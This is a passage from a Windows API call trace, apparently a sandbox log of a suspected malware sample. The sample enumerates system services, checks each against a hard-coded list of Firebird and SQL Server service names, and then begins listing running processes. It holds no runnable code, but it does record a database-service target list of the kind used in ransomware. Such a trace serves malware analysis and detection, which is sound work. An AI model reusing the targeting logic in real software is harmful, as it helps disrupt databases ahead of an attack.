cbBufSize=0x1ebc, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7cbe08, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0188.503] CloseServiceHandle (hSCObject=0x7c57e8) returned 1 [0188.503] lstrlenW (lpString="Appinfo") returned 7 [0188.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0188.505] lstrlenW (lpString="AppXSvc") returned 7 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0188.505] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0188.505] lstrlenW (lpString="Audiosrv") returned 8 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0188.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0188.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0188.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0188.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0188.505] lstrlenW (lpString="BFE") returned 3 [0188.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0188.506] lstrlenW (lpString="BITS") returned 4 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0188.506] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0188.506] lstrlenW (lpString="CDPSvc") returned 6 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0188.506] lstrlenW (lpString="ClickToRunSvc") returned 13 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0188.506] lstrlenW (lpString="ClipSVC") returned 7 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0188.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0188.506] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0188.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.506] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0188.506] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0188.507] lstrlenW (lpString="CryptSvc") returned 8 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0188.507] lstrlenW (lpString="DcomLaunch") returned 10 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0188.507] lstrlenW (lpString="Dhcp") returned 4 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0188.507] lstrlenW (lpString="Dnscache") returned 8 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0188.507] lstrlenW (lpString="DoSvc") returned 5 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0188.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0188.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0188.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0188.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0188.507] lstrlenW (lpString="DPS") returned 3 [0188.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0188.508] lstrlenW (lpString="DusmSvc") returned 7 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0188.508] lstrlenW (lpString="EventLog") returned 8 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0188.508] lstrlenW (lpString="EventSystem") returned 11 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0188.508] lstrlenW (lpString="FontCache") returned 9 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0188.508] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0188.508] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0188.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0188.508] lstrlenW (lpString="gpsvc") returned 5 [0188.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0188.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0188.509] lstrlenW (lpString="iphlpsvc") returned 8 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0188.509] lstrlenW (lpString="KeyIso") returned 6 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0188.509] lstrlenW (lpString="LanmanServer") returned 12 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0188.509] lstrlenW (lpString="LanmanWorkstation") returned 17 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0188.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0188.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0188.509] lstrlenW (lpString="lfsvc") returned 5 [0188.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0188.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0188.510] lstrlenW (lpString="LicenseManager") returned 14 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0188.510] lstrlenW (lpString="lmhosts") returned 7 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0188.510] lstrlenW (lpString="LSM") returned 3 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0188.510] lstrlenW (lpString="MpsSvc") returned 6 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0188.510] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0188.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0188.510] lstrlenW (lpString="NcbService") returned 10 [0188.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0188.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0188.510] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0188.511] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0188.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0188.511] lstrlenW (lpString="netprofm") returned 8 [0188.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0188.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0188.511] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0188.511] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0188.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0188.511] lstrlenW (lpString="NlaSvc") returned 6 [0188.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0188.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0188.511] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0188.511] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0188.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0188.511] lstrlenW (lpString="nsi") returned 3 [0188.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0188.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0188.511] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0188.511] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0188.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0188.511] lstrlenW (lpString="PcaSvc") returned 6 [0188.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0188.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0188.511] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0188.511] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0188.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0188.511] lstrlenW (lpString="PlugPlay") returned 8 [0188.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0188.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0188.511] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0188.511] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0188.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0188.512] lstrlenW (lpString="Power") returned 5 [0188.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0188.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0188.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0188.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0188.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0188.512] lstrlenW (lpString="ProfSvc") returned 7 [0188.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0188.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0188.512] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0188.512] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0188.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0188.512] lstrlenW (lpString="RpcEptMapper") returned 12 [0188.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.512] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0188.512] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0188.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0188.512] lstrlenW (lpString="RpcSs") returned 5 [0188.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0188.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0188.512] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0188.512] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0188.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0188.512] lstrlenW (lpString="SamSs") returned 5 [0188.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0188.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0188.512] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0188.512] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0188.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0188.513] lstrlenW (lpString="Schedule") returned 8 [0188.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0188.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0188.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0188.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0188.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0188.513] lstrlenW (lpString="SecurityHealthService") returned 21 [0188.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0188.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0188.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0188.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0188.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0188.513] lstrlenW (lpString="SENS") returned 4 [0188.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0188.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0188.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0188.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0188.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0188.513] lstrlenW (lpString="ShellHWDetection") returned 16 [0188.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.513] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0188.513] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0188.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0188.513] lstrlenW (lpString="Spooler") returned 7 [0188.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0188.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0188.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0188.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0188.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0188.514] lstrlenW (lpString="SSDPSRV") returned 7 [0188.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0188.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0188.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0188.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0188.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0188.514] lstrlenW (lpString="StateRepository") returned 15 [0188.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0188.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0188.514] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0188.514] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0188.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0188.514] lstrlenW (lpString="SysMain") returned 7 [0188.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0188.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0188.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0188.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0188.514] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cbe08 | out: hHeap=0x790000) returned 1 [0188.514] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220 [0188.523] Process32FirstW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.524] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0188.525] lstrlenW (lpString="System") returned 6 [0188.525] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0188.526] lstrlenW (lpString="smss.exe") returned 8 [0188.526] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.526] lstrlenW (lpString="csrss.exe") returned 9 [0188.526] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0188.527] lstrlenW (lpString="wininit.exe") returned 11 [0188.527] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.528] lstrlenW (lpString="csrss.exe") returned 9 [0188.528] Process32NextW (in: hSnapshot=0x220, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 